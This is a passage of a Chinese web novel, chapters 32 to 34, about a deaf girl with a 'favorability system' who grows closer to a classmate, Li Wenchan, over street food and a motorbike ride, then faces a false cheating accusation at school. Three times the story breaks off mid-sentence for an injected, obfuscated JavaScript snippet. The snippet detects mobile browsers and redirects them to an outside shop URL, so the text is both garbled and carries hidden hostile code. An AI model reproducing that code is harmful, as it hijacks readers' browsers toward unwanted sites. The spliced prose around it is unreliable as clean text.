池映雪摇了摇头,搬着凳子离嬢嬢烧烤的架子远了一点。 果然还是不能坐的太近,风浪好热。 李闻蝉回来的时候,韩潇还在与池映雪面对面,隔着屏幕聊天。 他这才想起来忘记对他们介绍对方,但现在看来也不需要了。 李闻蝉默不作声地走到二人中间,把炸鸡柳放在池映雪面前桌上。 “吃饭。” 他抽走韩潇的手机,“一会凉了。” 李闻蝉的身形将后面的池映雪挡得严严实实。韩潇意味深长地挑眉,贼兮兮笑着说:“别闹,我和妹妹正聊着呢。” “妹妹?”李闻蝉眯起眼。 “嗯呢。”韩潇让他看聊天记录,还念出最后发送的话,“我正在和妹妹说,感觉她要是会说话,声音肯定超级好听。你不觉得吗?就……肯定是那种有点清冷,但又软软的。” 池映雪看完屏幕惶恐许久,这才回过神来,目光对上望过来的两个男生,慌忙摆了摆手。 怀有希望之后,她就去偷偷看过听障人士习得开口说话的视频。 他们都说,一直失声的人即使有能力发出声音,也都嘶哑或粗浊,甚至会不受控制发些奇怪的声音。 虽然是无可奈何的事情,不应该为此羞耻,何况现在包括她自己在内,不会有人知道她如果会说话是怎样的。但被韩潇这样说,池映雪还是控制不住的羞赧。 不惹人嘲笑就万幸了,怎么会好听呢? “……你猜的挺对。” 池映雪摇摆的手掌停在半空。 李闻蝉的视线转回韩潇,不知想到什么,眼神望着对方又似乎没有。 他侧对着她,修长干净的手摸向耳垂,上面窜起的粉红十分清楚。 今天黄昏很长,人来人往的熙攘街市,淹没入人声鼎沸的背景音,池映雪耳中清冽却坚定的声音,也十分清楚。 “我是说,她的声音,一定很好听。” 32. 第 32 章 说的就好像他能听见一样。 池映雪低下脸,明明已经远离了烧烤架,周围的风却应是因为人群密集变得更加燥热。 夕阳太烈了,不像是雨后的秋天,像活在夏天。 她的声音怎样暂且不论,但要是说起好听,李闻蝉……才确实当得起吧。 虽然没什么其他参照,但池映雪就是这样想的。 她还觉得,李闻蝉的声音很像一种东西,但一时说不清楚。 ——像什么呢? 韩潇真想把李闻蝉这副样子拍下来。 但也就想想而已,他不敢。 “不过真的有点可惜。”他转转眼珠,故意噘嘴,“要是妹妹能说话,真想听她叫声哥哥,肯定很……” 李闻蝉直接把他揪起来,一手韩潇一手板凳扔回原本的位置。 不知是时间渐晚还是他这边气场太强的原因,周围的人慢慢稀少,杂音沦为背景的疏声。 “哥哥什么哥哥?你要下蛋?” 李闻蝉眉头松动,拿过另一袋鸡柳,分给韩潇那两个朋友竹签,又叉起一条塞入韩潇的嘴中,“吃,然后闭嘴。” 池映雪若有所思地看着他们“兄友弟恭”的样子。 哥哥? 哦,她懂了,韩潇在叫李闻蝉哥哥呀。 池映雪又开始可惜自己听不见,不知道韩潇是怎么叫的……闻蝉哥哥? 小蝉哥哥?阿蝉哥哥? [叮!攻略对象好感+0.05。] “嗷!!!!” 韩潇突然痛得大叫,猛然撤后,双手不断揉着腮帮,“李闻蝉你要谋杀我啊!!” “……” 李闻蝉这才把滞在空气中的竹签收回去,捏着签子的细长手指在松紧间来回切换。 “…………抱歉。” 韩潇呲牙咧嘴,却显然没当一回事,摆了摆手,还有空咀嚼嘴里的鸡柳。 池映雪担忧地注视片刻,确认他们之间没什么事,也伸手吃了一块。 好吃。 可是……池映雪的鼻子皱了皱。 盐是不是放少了? 李闻蝉捻起一根竹签,边戳向鸡柳边问韩潇:“味道淡么?” “你这么一说,是有点。” 韩潇咽下鸡柳,用签子拨了拨纸袋,插进一条靠里的。 “就是淡了。”他下结论,“不是没拌匀,调料还挺好吃的,可惜了。” 李闻蝉抽出一张手帕纸,将手里的竹签包好放在桌上,拿走几人面前装着鸡柳的袋子:“我去找老板加上。” “诶!”韩潇拽住他,表情变换,为难地挠了挠脸,“你刚拍菜单回来,那上面写着人家是……吧?” “嗯。”李闻蝉驻足,没有避讳地陈述,“是聋哑。” “要不算了吧,烧烤点的不少,应该也够吃。” 韩潇示意他多看一眼后面安安静静的池映雪,“他们本身出来做生意就不容易,怪可怜的。” 李闻蝉默了一会,很认真的问:“聋哑怎么了?” 池映雪听见他说:“不管是否聋哑,他们首先是经营者,是厨师,而我们是食客。我们是平等的。” “我不想食之无味却因为顾虑不去交流,聋哑只是他们的特征,不是他们的缺陷。” 李闻蝉没有说教般的作态,反而声调清闲,懒洋洋的,“我会同情他们的不便利,但永远不会怜悯。正因为他们的确值得尊敬,所以我会像对待任何一名商贩一样对待他们——而且事实证明,即使聋哑,他们也能把店做的很红火,所以根本没什么好忌讳的吧?” 他甚至没有正面对着池映雪,这番话却直直地闯入她失声已久的耳朵。 声音清澈,宛如穿透梧桐叶的光束,生机郁勃。 池映雪第一次听到这样的论调,嘴唇嗫嚅,忍不住盯着那道高挑又扎眼的背影出神。 她曾经以为李闻蝉嫌弃她,又觉得他是在可怜,就和曾经遇到的绝大多数人一样。 可是,说出这番话的李闻蝉,绝不会那样想。 人头攒动,热闹的小吃街烟火气十足,池映雪在这一刻忽然想起很多人。 因为担忧,连卷子都不忍让她发的课代表; 办公室里总是用遗憾和可惜眼神注视她的老师; 觉得她听不见老师讲课就绝对考不到这个分数的池鲤鲤等人…… 她或许感激,或许习惯,或许不服气,从来没有哪次像现在这样,只有酸胀的眼睛和抑制不住的欢喜。 就像是,她把自己关进了笼子里。 李闻蝉扣了扣生锈的笼门,告诉她,这里从来都没有锁。 熟悉的背影即将消失在人潮里,池映雪下意识站起来,小跑着追过去。 李闻蝉已经走到了小车旁,和女老板打字交谈,过程并不很顺利。 池映雪还差两步才走到他身后,李闻蝉却先一步回头,意外地抬起眉,转而轻轻地笑。 “差点忘了。”他自语,“幸好这不是有你在么。” 池映雪拨了拨刘海,用手语和老板沟通,女老板惊讶后逐渐认真,自己尝了一口他们手里的鸡柳,反手掐了把过来看情况的男老板的腰。 他们对二人比划着道歉,给刚才的每一袋都补上盐,又额外送了两份。 池映雪拎着好几袋鸡柳,去取闪送来的奶茶和甜点的李闻蝉正好回来,将几个精美的手提袋换为一只手拿,空出来的手顺走池映雪手里的大多塑料袋。 他弯下腰数了数:“怎么还多出来两袋?” 池映雪没有手拿手机,到处看了看,只能用手捧着袋子从后往前拱,试图比划:送的。 李闻蝉不知道怎么懂的,跟着就念出来:“啊,送的。” 他直起身,一下子离她好远距离,低声喃喃,“那看来沟通的很好啊,厉害。” …… 池映雪愣了好几秒才踩着小碎步跟上去。 这也能夸呀……… 韩潇接过李闻蝉手里的甜品袋,阴阳怪气:“哟~” “怎么还有巧克力啊,谁点的呀?点给谁的呀?”他捧着漂亮精致的小蛋糕,凑近李闻蝉,“来蝉哥,你最爱的巧克力~” 李闻蝉置若罔闻,轻轻掂过蛋糕,俯身放到池映雪座位前。 他回过头收拾笑得一脸欠扁的韩潇,池映雪放下手里的袋子,坐在位置上抱住她的书包。 “系统,我的任务完成了吧?” [嗯嗯!“和男主面对面吃饭”完成啦,因为宿主在吃饭,我就没有弹出提醒框,现在已经变成“和男主私奔”了!] 池映雪:“……什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635252|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?” [私奔!]系统将字体放大,[和男主私奔!] 池映雪扶额,又打算钻空子:“打台球那次不算么?” [当然了,宿主难道见过谁家私奔还带第三个人的吗?] 池映雪撇了撇嘴,不再苦恼,总归已经得到了想要的答案。 李闻蝉重新坐下,池映雪把书包背在前面,双手搬着凳子蹿到他的位置旁,又蹬蹬蹬小跑着一来一回,拿来她的餐具和蛋糕果茶。 她状若无事的坐在他旁边,抿着嘴,正正经经地拆蛋糕盒子上的蝴蝶结丝带。 另一侧,韩潇隔空对其他两个好友挤眉弄眼,用手肘戳李闻蝉的后腰。 李闻蝉没理他,还盯着目不斜视的池映雪,换了好几个手势掩唇。 [叮!攻略对象好感+0.05。] 池映雪的嘴角翘起来,又很快压下去。 质感高级的黑色盒子上用烫金写着“Valrhona”,巧克力蛋糕非常醇厚,烘烤香气很浓,含在口中,还有淡淡的木香。丝滑,不甜,苦得恰到好处。 她听见李闻蝉小声吐槽:“怎么那么喜欢吃苦的,还有酸的。喝葡萄果茶都不加糖。” 韩潇:“毕竟不是每个人都和某蝉一样,HiTea和星baba都能喝多甜。” 李闻蝉:“……不懂算了。” 池映雪抿着铁叉。 原来是这样吗?她自己都没发现,原来她喜欢苦的和酸的食物。 难怪家里的栗子奶油蛋糕和更久以前的甜口小排,她吃到最后都要靠硬塞。 CHAN:「池映雪。」 池映雪正好吃完最后一口蛋糕,慌乱地含着叉子打字:「在。」 李闻蝉在她身后低低笑了。 「想试试机车吗?」 当然想。 中秋节那次就很想坐上去试试了,可是那个时候他们还没有很愉快。 池映雪眸光挣扎:「我得先问问家里人。」 CHAN:「问池润吗?他现在应该已经和池怀元坐上航班了。」 池映雪下意识想说,那就去问妈妈。 可她忽然想起来,明天池鲤鲤要去公益表演,今晚秦书陪她一起外宿,顺便拜访熟悉的大师,指点钢琴技巧。 所以她才会不假思索地答应李闻蝉出来吃饭。他邀请她,不如说她正好需要被邀请。 CHAN:「和我一起,不用向任何人报备。」 「还有,如果你想和他们一起吃饭,我保证以后每周你们都会有固定的家庭聚餐,没有人会再把你落下,坐车也是。」 李闻蝉倾身向前,扯走池映雪呆呆咬住的小铁叉,随手丢进干净的蛋糕盒中。 他说话与神色都很有底气,池映雪这时想起他的身份,的确,在池家,李闻蝉看上去甚至比哥哥他们更有话语权。 「你只需要告诉我,你还想和他们一起吃饭吗?」 池映雪莫名不敢直视他的眼睛,低下头,两个大拇指的指甲相抵。 终于还是点了一下。 “哼。”李闻蝉站起来,无可奈何地用手机敲了敲她的发旋。 “小不争气的。” CHAN:「那就够了,等着吧。」 CHAN:「现在,带你去个好地方。」 33. 第 33 章 池映雪今天才知道,李闻蝉在学校附近还有自己的车库。 一排机车在白色顶灯照耀下依次排开,李闻蝉让她来选,她最后站在上次见到的那台前。 黑色的机车流线漂亮,线条十分锐利,像是暗夜的骑士。 他这里没有适合池映雪戴的头盔。李闻蝉让韩潇去他开来的跑车后座取,韩潇念念叨叨:“你怎么就这么确信我会有?” “那你有吗?” “……我去取。” 韩潇很快从他的爱车小劳中取回一个珍珠白色的机车头盔,是HelloKitty联名款,头顶还有蝴蝶结和两个小猫耳。 “就当是我送给妹妹的见面礼好了。”他把头盔递给池映雪,“正好刚买回来,还没给谁戴过。” 池映雪不会戴头盔,李闻蝉弯腰从她手里拿过来。 手指滑过红色的蝴蝶结,扫了一眼某人背上的红色小皮书包,弯起眼角。 还挺搭。 他俯首帮她扣带戴好,池映雪脖子上多了个庞然大物,眼前一黑,有点发闷。 李闻蝉连忙掀起护镜。 因为最近养了点肉,一下子露出全貌的眼睛看上去没那么突兀的大,双眼皮细细的,不算明显,很秀气。 圆圆的眼刹那间明亮起来,黝黑而发着光。 [叮!当前男主好感:19.9%。] 没有给池映雪反应的机会,李闻蝉迅速重新阖上护镜,黑色镜片反射灯光,像凝结夜云盖住底下的星。 李闻蝉忍不住抬手,弹了弹护镜。 清脆的一声。 在闷热的头盔内部回响,像是一枚短短的音符具象化。 他转身去找自己的头盔,池映雪突然伸手拉住他的卫衣下摆。 第二次了。 李闻蝉淡淡回眸。 池映雪对他比了个“2”的手势,指了指护镜。 再来一次! 李闻蝉:……什么毛病??? 落日熔金,梧桐碎叶如飞逝的瀑布。 黑色机车在林荫和车流间奔腾穿行,后面跟着两辆同样高调的跑车。 漂亮的黑色车面上倒映黄昏光晕,池映雪一只手紧紧抓着书包带,另一只揪住李闻蝉的卫衣下摆。 校服长裙在雨后清新的空气中逸动,没能被头盔包裹进的发丝凌乱地飘舞。 她又一次听见机车咆哮的声浪,与身下的触感共振,还有耳边鼓鼓胀胀的流风。 太快了。 记忆里唯一坐过的后座是裴景的自行车,那是在他中考前,她和苹安陪他三个去寺庙上香,领免费的香火求学业。 天很热,裴景扫了一辆自行车,挨个将不会骑自行车的她们来回两趟送回家。但他一向会照顾人,骑车非常慢,小心而稳妥。 她从来没有像今天这样驰骋过。 池映雪心如擂鼓,手指紧张地蜷缩,被遮盖的眼底却涌现微弱的兴奋。 [警告!攻略对象好感-0.1。] ——砰! 李闻蝉忽然急刹车,池映雪猝不及防向前栽去,本就萦绕的清冽香气更是一瞬间将鼻腔完全笼罩。 抓住衣角的手下意识掐紧他的腰,两顶头盔怦然相撞,脑袋传来嗡嗡的震感。 [叮!攻略对象好感+0.1。] [叮!攻略对象好感+0.09。] [警告!攻略对象好感-0.05。] 池映雪连忙松开手,幸好奇怪的波动也随之停下。 刹车是因为前面突然有人逆行,李闻蝉及时避开,错过了本该驶过的绿灯。 她揉了揉头盔,忍不住捏捏头顶硬邦邦的HelloKitty耳朵。 李闻蝉正百无聊赖地用胳膊倚着把手,目光扫过后视镜,浅浅地勾起唇角。 他取出手机,在聊天框里输入:「Pei」 又删掉,眉头轻蹙,不解地“啧”了一声。 韩潇发了个表情包来,李闻蝉回头,见他已经将跑车敞篷,露出一头瞩目的红发,吹了个口哨。 李闻蝉嫌弃地别开视线。 韩潇努了努嘴,对刚才迟一步回过头的池映雪耸肩,故作伤心地揉着眼睛。 池映雪莞尔,心想李闻蝉的朋友虽然不算多,但看上去都很有个性。 而且看得出来,只有关系真心好才会这么轻松和肆无忌惮。明明都喊着哥,却没有上下的层级,只是一种信服和钦慕。 池映雪有些羡慕。 其实他对她也不赖,除去前段时间不明原因的抗拒。 难道,他对谁都这么好吗? 那到底要怎样才能成为他的朋友呢。就差一点点,差在哪里呀…… 哒哒。 一根骨节分明的手指伸过来,隔着校服外套口袋,轻敲池映雪的手机。她心领神会地掏出来。 CHAN:「我对你好么?」 池映雪不假思索:「好。」 她补充:「真的,不是礼貌。」 前面的男生背对着她,还闲而散漫地俯身倚靠在把手上,过了好几秒才回复。 CHAN:「这就叫好了啊?」 200多秒的红灯终于快结束,李闻蝉把手机揣进兜里,整理了一下卫衣下摆,手指略有停滞。 池映雪耸了耸书包肩带,低垂着眼,听见来自头顶前方的低喃:“能不能有点追求?” 李闻蝉抓住把手,念念有词,“还有。” “谁说你不是我的朋友。” 池映雪的手猛然松开,书包带子和黑发一起飘飞在身后。 “池映雪当然是李闻蝉的朋友啊。” 机车再次飞驰,他的声音像耳边的风,桀骜却清亮,不知道为什么,忽的染上了笑意。 “……独一份的那种。” [叮!攻略对象好感+0.05。] [叮!攻略对象好感+0.00999……。] 车轮翻滚狂奔,好感度系统的爱心不断以微末的速度随之上涨,最终无限趋近“20”的刻度线,又停了下来。 [当前男主好感:19.999……%。] 骗子。 池映雪鼓起腮帮。 系统在一旁观望许久,忍不住想要违背上级:[宿主……] 机车速度骤降,李闻蝉的话语打断它正要弹出的电子框。 “到了。” 池映雪随着他的视线偏头。 黄昏尽头是粼粼波光,一小片一小片夕阳,像数以万计蝴蝶的翅膀,视觉都恍惚。 他们停在日暮里的江上大桥,车座底下忽然传来震荡,池映雪在课本上见过这座桥的构造,略一慌张后想到,应该是桥下面的动车驶过了。 灯火还没有亮起,再往下,圆弧形的玻璃栈道挤满了人,韩潇也和朋友挤去那里拍照打卡。 池映雪后一步从机车上下来,摘下头盔,和黑色的那顶一起挂在机车前面,走到已经靠栏眺望远方的李闻蝉身边。 橘黄色的天空倒映眼底,她忽然想起了李闻蝉的声音像什么。 像是一片橘子海。 桥上人来车往,少女穿着整齐的洁白校服套装,低马尾散乱,依然有种乖乖的文静。 旁边相隔几厘米的少年一身休闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635253|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黑色,高挑修长,浓颜带着痞气。 李闻蝉摘下机车皮质手套,转过身,随意而精准地丢在车座。也没再转回去,背靠着栏杆。 晚风又起,长长的黑发吹拂过来,和他黑卫衣领口的系带松松缠绕。 一位当事人浑然未觉。 李闻蝉侧眸。 那双眼睛很亮,专注地映着日落,瞳孔都反射着橘红。 幸好红色没有再出现在眼眶。 李闻蝉很快收回视线,扬起脸望同一片天空的另一侧。 有时候还挺羡慕她的,整个世界都清静。 他从很小的时候就能听见每个人的心声。譬如现在,又几人从面前走过,一瞬音量骤升,渐渐减弱的嘈杂喧嚣,吵得人烦。 这恶心的超能力。 幸好除了意外发现的池老爷子,只有他去世的父母知道。前者为此看重,后者则是忌惮。 曾以为最好的朋友,在心里阴暗地谩骂诅咒。 主动帮他向班主任解释的池映雪,心想着借此来获取他的好感,得到她想要的。 无所谓,李闻蝉想通了。 只要她需要他,就永远不会像别人那样离开,起码她不会像蒋傅那样厌恶他。 可是…… 如果说蓄意靠近是因为有企图,她又为什么会哭? “池映雪。” 李闻蝉的胳膊搭在栏杆上,手指有一下没一下地轻敲,自说自话。 “你说你到底想要什么啊。” 淡淡的疑问,并不在乎答案是人脉或支持,抑或她那些不像话的家人的关注。 毕竟他知道,她不会回答,心里也不会,除非恰好心有灵犀地和他想到同一件事。 池映雪向着远方的视线乍然缩回。 耳边微弱均匀的呼吸似乎更轻了些,她不自觉地抚上自己的耳朵,嘴唇微动。 她想要什么?太多了。 但她承诺过自己学会知足,所以…… 就当是许愿吧,反正也没人会听见。 池映雪眼帘轻垂,双手合拢,对着那片嗅不到的橘色海洋,在心里默念。 “我想要,李闻蝉的好感。” “李闻蝉,多给我一点好感吧。” “我不要太多,一点点就好,我又不贪心的。我只想要你的认可,就很满足了。” 耳边细微的呼吸消失了,可并没有听见脚步声。 池映雪睁开眼,系统不知何时弹出的电子显示屏正在剧烈波动。 那块用来记录好感度的爱心,大半都是灰色,此刻一个劲的颤抖。 池映雪:? 她向左边侧首。 ——李闻蝉正对着她,不再懒散倚靠,整个颀长的身体都僵硬。 总是恣意散漫、微微眯起的长眼睁大,深黑色的瞳孔地震般颤抖。 眼睑下面冷感的白皮,向下至鼻尖,向后到两边的耳,肉眼可见的一寸、一寸越发飞红。 和她对视,他向后踉跄着退了一小步,青筋分明的手掌紧抓住栏杆,用力到发白,又泛着粉红,发出巨响和心跳般的余震。 [叮!攻略对象好感更新…现在好感:20%。恭喜解锁“听力等级1”!] 脚下又一次震动,这回她听见了来自远方很微弱的列车轰鸣,还有近在身旁却音量稀薄的人潮。 还等不及池映雪雀跃,电子弹窗一个接一个围着李闻蝉弹起。 [叮!攻略对象好感+1。] [叮!攻略对象好感+2。] [叮!攻略对象好感+10!] [当前男主好感:33%。] 34. 第 34 章 周天傍晚,万苏瑶把椅子挪到后排,给池映雪编头发。 麻花辫侧编,看上去温柔又乖巧,万苏瑶还插了两个小花的发卡上去,一奶蓝一嫩黄,和池映雪今天校服内搭的针织衫很像。 乍暖还寒,容易感冒,这是妈妈特地让品牌来家里试穿后新购置的。 时间拿捏的刚刚好,编完发就响起自习的上课铃,池映雪身边一空,正巧和李闻蝉对视。 他和胡挚在打游戏,上课了也没收起来。 应该是打到关键的时刻,李闻蝉很快又低下头去。 池映雪不懂这些,但胡挚看上去很激动,像是返祖了。 李闻蝉打游戏从来都是安安静静的,一副处变不惊的样子,除了偶尔和胡挚他们说几句简洁的术语,不像别人那样总是在嘴里说些什么。 据说他非常厉害,她不止一次在水群里看见胡挚秀胜利的截图,每次MVP都是李闻蝉。 万苏瑶突然脊背抖动。 池映雪猜她应该是在咳嗽,翻找抽屉里的感冒药。 万苏瑶却迅速回头使眼色,示意池映雪向左后方看。 ——徐静萌从讲台下来转悠,就快走到她们这块。 池映雪:! 她连忙看向右边。胡挚深埋着头,对万苏瑶的咳嗽声浑然未觉,李闻蝉倒是掀起眼皮,熟练地息屏揣兜。 他伸手去戳胡挚,然而徐静萌已经到了池映雪身后。 池映雪摇了摇笔杆,微微抿唇。 千钧一发之际,她举起手。徐静萌即将射向一组最后两排的目光移过来。 警报解除! 李闻蝉迅速瞥向左侧,了然地扬唇,摇了摇头。 徐静萌将左侧的女生挡住,他顺势收回眼,脚踢前排的椅子。 池映雪并非全然在打掩护,的确有题要问。她指着周末留的数学卷子里某道题,以及徐静萌单独给她的答案。 徐静萌浏览完题干,皱起眉:? 池映雪的手指在试卷边轻抠两下,目露不解。 徐静萌叹了口气,指向答案里的某个步骤,池映雪一下子坐直身,对上徐静萌询问的眼神,心领神会地用力点头。 收起手机后目睹全程的胡挚:??? 徐静萌欣慰地笑,瞪了胡挚一眼。正好门外有老师找,她让大家安静自习,匆匆离去。 “刚那是什么?”胡挚凑近李闻蝉,“加密通话?” 莫非这就是传说中的,学霸的世界?! 李闻蝉眼神还含着笑,向左凝望整齐摆放的各科教材和文件夹。 书架侧方摆放着笔筒等文具收纳,上面还挂着静音计时器、熟悉的常用语本子和背单词的小册。 他再看向自己面前空荡荡的课桌,抚摸上后颈。 “嘶……” 徐静萌不知道去做什么,一节晚自习结束都没有回来。 池映雪用笔点着脑袋,下课了还盯着一道道数学题苦恼。 和男主讨论数学大题。 难道要她去问他圆锥曲线怎么做吗? 忽然之间,数学习题册被握着轻敲在她桌上,那是一只男生的手,莹润匀称。 难道他还真的来…… 池映雪抬起头,想起来并没听见任何声音的时候,就已先一步看清来人的温朗面孔。 沈星桥隐晦地扫一眼朝他们注目的五班学生,直起腰,脸上笑意纯净秀致,冲她挥了挥手机。 StarBridge:「给你发消息没有回复,我只能下来找你了,希望不会打扰。」 StarBridge:「有一道柯西中值定理的课后题我没有很懂,可以请教你吗?」 小雪:「啊,好呀,但我也不一定会。」 StarBridge:「不用对我这么谦虚。^^」 「我们去外面吧,我还有别的话想要对你说。」 池映雪拿着笔和草稿纸跟沈星桥一起走出后门,胡挚的视线紧紧锁定二人,露出吃瓜的表情。 “诶诶,蝉哥,你说池家和沈家那个婚约到底是不是真的?” 胡挚把窗户开了道缝偷看,“以前传的是沈星桥和池鲤鲤,但现在池映雪回来了,真要有什么也该是她吧?” 他话音还没落就挨了万苏瑶一脚:“什么婚不婚的,我们才上高中好吗?!” “那之前也没人否认过啊……” 胡挚呲牙咧嘴,“而且这种老牌世家不都说联姻要从娃娃抓起?隔壁省前阵子结婚那对,上了好几天热搜,人家就是娃娃亲,大学没毕业就领证了。” “哪有那么封建。” 李闻蝉转着红色的钢笔,是上次穆雨阳送的那根。 他略一停滞,把笔放入抽屉里书包的隔层,换了一根转。 “据我所知,池润目前顶多偏心点,还不至于违背子女意愿,整联姻那一套。” 窗外的两名好学生肩并着肩,埋头算题,在夜色背景下格外和谐。 胡挚撇撇嘴:“不见得违背意愿吧,万一人家郎才女才,两情相悦呢?” “呵。” 李闻蝉哼了一声,悠闲地手撑脑袋,面朝窗户。 修长指节浸入浓黑色碎发,点在温热的耳上。 “你根本不懂。” 窗外的蓝黑天空下,沈星桥看完池映雪比参考答案更完整易懂的步骤,摩挲着草稿纸,笑意沉在眼底。 StarBridge:「我明白了,谢谢你。」 StarBridge:「新发型很漂亮。」 池映雪意外地看了他一眼,正对上专注柔和的深邃目光,有点不好意思。 小雪:「瑶瑶帮我编的,都是她手巧。」 小雪:「你还要说什么呀?」 沈星桥的面色严肃起来。 StarBridge:「我刚本来是打算先去问班主任题的,但在办公室门口看见他和你们班的徐老师正在争执,旁边还站着年级副主任,似乎是因为有人匿名举报你……月考作弊。」 池映雪:! 她想起池鲤鲤在饭桌上质疑又责怪的眼神,忽然懂了那天没读清晰的情绪。 原来他们不仅不信她能考好,还做到这个地步。 「现在副主任那边想要发声明通报调查你,徐老师不同意。」 池映雪心里一暖。 小雪:「谢谢你告诉我,我知道了。」 StarBridge:「应该的,我相信你。」 沈星桥眉目柔和,冰冷的指尖缓慢敲击键盘:「有需要的话尽管找我帮忙,不管怎样,我还是希望你能及时澄清。毕竟名声很重要,尤其是在我们这样的家庭。」 回到教室,万苏瑶发来消息:「小雪,你们聊什么了,怎么出去那么久呀?」 池映雪下意识打出“没关系”,看着她关心的眼神,转而向满教室的同学们望去。 犹豫片刻,还是实话实说。 万苏瑶看完一拍桌子,反手就把她的话转述在水群里。 「红眼病就去医院,来上什么学啊?」她气汹汹地打字,「我去问问我一班那个认识的女生,老娘今天就是掘地三尺也要把那个匿名的小人找到!」 胡挚游戏也不打了,低骂了好几声:「我同意!不行,不会又是宁世延吧?!」 「@章子健,走,下课一起去削他!」 池映雪想起李闻蝉上次教训宁世延的画面,直觉不是他,在义愤填膺的水群里戳了戳胡挚。 小雪:「不用麻烦了,万一你们打架被抓到,校规里说要通报批评,蛮不值的。」 万苏瑶:「我们先想温和一点的办法吧,实在不行再关门,放虎子。」 秋怡:「对,而且先等萌萌姐那边出结果再说,万一咱据理力争,不用调查了呢?」 「考场又不是没有监考和监控,要作弊早被抓了,说到底他们就是不信小雪,一群有色眼镜!」 小雪:「嗯,我也这么想。」 小雪:「其实我不害怕质疑的,有大家相信我就够了。我们最终的目标是高考,他们现在做这些都没有意义。」 她心里都不想管这事,不想因为这些无关紧要的东西浪费她和朋友们的时间。 一时的流言而已,等到下次考试,不攻自破。 万年潜水的李闻蝉忽然发言:「开什么玩笑。」 这话有点冲。 万苏瑶站起来就要向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635254|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他讨个说法,坐过来玩的秋怡差点没拦住,幸好下一条消息很快弹出。 CHAN:「一时的委屈就不是委屈了?」 整个教室的右后方都缄默一瞬。 池映雪完全感受不到,对着屏幕呆呆地眨眼睛。 CHAN:「你不管我管。」 第二节自习铃响,他抬脚就出了门,拨通电话。 万苏瑶:“…………我靠。” “李闻蝉怎么……” 秋怡望向关门前男生最后潇洒挺阔的背影,玩味的目光随后对准正在出神的池映雪,玩着碎发:“怎么?” 万苏瑶语气佩服:“怎么会这么有班级凝聚力!” “我终于明白他那么多迷妹的原因了,从身到心,硬帅!” 她把空气刘海拨到三七分,校服领口敞开,双手插兜,压粗声线模仿:“‘敢欺负我们班的同学,当我堂堂校霸是吃素的吗’?!” 秋怡:“……” 不知道李闻蝉怎么做到的,直到周一快结束,质疑风波也没闹起来,就和从没有过一样。徐静萌更不会主动和他们说这些。 校会上,池映雪站在第一排,注意到身边的徐静萌眼眶微红,心里不太好受。 听说徐老师为了她和齐老师争吵,想必双方一定都维护自己班的学生,而且他可能也是质疑她成绩的其中一员。 池映雪的手悄悄攥起,有些不服气。下午和万苏瑶一起去学校附近有名的汤咖喱店吃饭,离开时正好撞上池鲤鲤和邢芷等人。 擦肩而过,邢芷的声音就在她耳畔,肆无忌惮,毫不收敛:“Faker.” 池映雪原本只在大桥上和校会时听见微末的声音,此时也没太听清,只有模模糊糊的音调,但依稀可闻很不友好。 她停下来正视邢芷,出乎了她们一行人的意料。 万苏瑶上前,用高出好几厘米的身高压制她们:“自己考不过就说别人作弊,输不起的样子可真难看!” “万苏瑶,和她玩,你是同情心太泛滥了吧?”邢芷嘲笑,“和哑巴待久了也不怕自己被传染,更何况是个注定被我们鲤鲤踩在脚下的货色。” “传染?一班的生物老师就是这么教你的?难怪考不过小雪破防。” 万苏瑶看向邢芷身后的池鲤鲤,“说到faker,谁才是假货啊?要想说小雪作弊,就拿出证据啊!” “你以为我们没……那还不是因为奖学金和分班都只重点参考期中期末,月考查的不严,才没把她揪出来!”邢芷气急败坏。 池鲤鲤咬着唇,没有阻止她说下去。 昨晚她溜去办公室听事情进展,却不想偶遇校长亲自前来。据说校董那边施加压力,要对学生保持最基本的信任,决不能让刻苦的同学寒心。 校董不就是池家大伯? 可池鲤鲤完全不知道池映雪还有请的动他的本事。就连在圈内饱受赞誉的她,也没和主家那些人见过很多次。 明明池映雪中秋家宴才第一次见他们,明明从前也没人知道她们的身份,凭什么? 池鲤鲤紧盯池映雪校服下面熟悉奢牌的衣服,直到目光落在她平静的神情和苍白的耳朵上,才面色稍缓。 系统有规定,没办法实时转述她们的对话,只能给池映雪隐晦地透露个大概。 池映雪听完后拉着万苏瑶的衣角晃了晃,示意她不要白费口舌。 她从随身的小包里取出笔和随身的小本子,沙沙写好后走向对面领头的池鲤鲤和邢芷。 「不用急,期中考也很快了。」 她好像完全没有被激怒,不是因为对质疑一无所知,而是—— 从来不把她们放在眼里。 池鲤鲤的后槽牙都快咬断。 池映雪眸光淡淡,纤细的手指拨开本子的下一页。 「以后每一次考试,都欢迎见分晓。」 耳边忽然响起一阵轻盈的脆亮声,店门口的暖橘色灯光下,风铃挂在玻璃门边,摇摇曳曳。 